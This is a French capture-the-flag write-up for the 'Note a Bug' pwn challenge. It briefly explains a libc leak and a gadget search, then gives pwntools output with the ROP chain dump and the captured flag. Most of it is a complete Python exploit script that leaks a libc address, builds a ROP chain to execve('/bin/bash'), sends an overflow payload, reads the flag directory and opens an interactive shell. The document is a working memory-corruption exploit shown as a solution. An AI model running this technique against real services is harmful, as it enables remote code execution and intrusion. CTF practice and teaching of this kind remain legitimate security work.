Solution de mandragore pour Note a Bug (d0g bUt h4ppY)

pwn attaque-défense x86/x64

10 janvier 2025

Table des matières

Description

On réutilise le code précédent, mais on ne peut pas utiliser l’offset fournit qui pointe vers /bin/sh dans libc6. La solution proposée est de mettre la commande dans notre payload, rsi pointe dessus au retour de la fonction newNote. Il faut trouver un gadget qui permet de faire mov rdi,rsi avant d’appeler execve mais je n’en ai pas trouvé dans note-a-bug.

J’ai donc aussi récupéré libc6 depuis le shell dans l’épreuve Red Beer. En utilisant ropper, j’y ai trouvé une combinaison de gadgets pour préparer les registres avant de sauter dans execve.

J’ai perdu beaucoup de temps en pensant bêtement que l’offset du payload pointait vers execve, ca plombait tous mes calculs et m’empechait d’utiliser libc6. C’est en utilisant puts depuis note-a-bug que je m’en suis rendu compte, et que j’ai corrigé mes calculs. Sans utiliser l’offset pseudo-execve du payload.

Restait à utiliser le leak pour trouver la base du segment executable de libc6 et pouvoir l’utiliser pour les gadgets et .. toutes ses fonctions dont execve, toujours en utilisant le shell du niveau précédent (cf. commentaires).

[+] Opening connection to 127.0.0.1 on port 4001: Done
leak      : 0x7f7cc04631ca
libc base : 0x7f7cc0462000
[*] Loaded 27 cached gadgets for 'note-a-bug'
[*] Loaded 197 cached gadgets for 'libc.so.6'
0x0000:   0x7f7cc04c11b4 pop rax; pop rdx; pop rbx; ret
0x0008:   0x7f7cc047c285
0x0010:              0x0
0x0018:   0x7f7cc0510910 execve
0x0020:         0x401870 pop r12; ret
0x0028:              0x0
0x0030:   0x7f7cc04d65b2
[*] Switching to interactive mode
FSSC_057f78a3782bdf2291918362986e0bf2ab9394b6e4f8d8beb2eb80e5acd9e8d5\x00$

Exploit

#!/usr/bin/env python3

import json
import os
import re

from pwn import *

#context.log_level = "DEBUG"  # usefull to debug leaks
context(arch='amd64')

LOCAL = False

if LOCAL:
r = process(['./note-a-bug','100'],stdin=PTY)
libcpath='libc.so.6.local'
rdbg = gdb.attach(r,gdbscript='''
break *0x40148C
c
c
''')
else:
r = remote("127.0.0.1", 4001, typ="tcp", timeout=2)
libcpath='libc.so.6'

data = r.recvuntil(b'ote\n0. Exit\n>>> ')
session=re.search('/fcsc/([a-zA-Z0-9]+)/',data.decode('ascii')).group(1)
r.sendline(b'1')
data = r.recvuntil(b'ontent length: \n')
filename=re.search('Creating note: ([a-zA-Z0-9]+)',data.decode('ascii')).group(1)
r.sendline(b'176')
data = r.recvuntil(b'Content: \n')
r.sendline(b'AAAAAAAA')
data = r.recvuntil(b'ote\n0. Exit\n>>> ')
r.sendline(b'2')
data = r.recvuntil(b't filename:\n>>> ')
r.sendline(session.encode('ascii')+b'/'+filename.encode('ascii'))
data = r.recvuntil(b'ote\n0. Exit\n>>> ')

# parse leak

start=14+81*10+37
leak=data[start:start+23]
leak=leak.decode('ascii').replace(' ','')
leak=unhex(leak)
leak=unpack(leak,'all')
print('leak      : '+hex(leak))

# build exploit

binlibc=ELF(libcpath,checksec=False)
binlibc.address=leak-(0x7fbe4b3071ca-0x7fbe4b306000) # valeur depuis session 'Red Beer' ("grep PPid /proc/$$/status" pour remonter pstree et "grep libc /proc/$$/maps"), dans la famille "plages mémoires" on veut le grand père
print('libc base : '+hex(binlibc.address))
binlibc.address-=binlibc.get_section_by_name('.plt').header.sh_offset # fix for rop.resolving
binnab=ELF('note-a-bug',checksec=False)
rop=ROP([binnab,binlibc])
#rop.call('sleep',[10]) # tests
rop(rax=binlibc.address+0x0040285,rbx=rop.resolve('execve'),r12=0,rdx=0)
rop.raw(binlibc.address+0x009a5b2)

# -> 0x9a5b2 mov rdi,rsi; call rax -> 0x40285 mov rsi,r12; call rbx -> execve

print(rop.dump())

sc =flat(b'/bin/bash',b'\x00')
sc+=cyclic(104-len(sc))
sc+=rop.chain()

# trigger

r.sendline(b'1')
data = r.recvuntil(b'ontent length: \n')
r.sendline(str(len(sc)).encode('ascii'))
data = r.recvuntil(b'Content: \n')
r.sendline(sc)

# enjoy

r.sendline(b"cat /fcsc/ZBrKMnQJGebtYHDXrNxxF6hU2DzwJzX/*")
#print(r.recv())
r.interactive()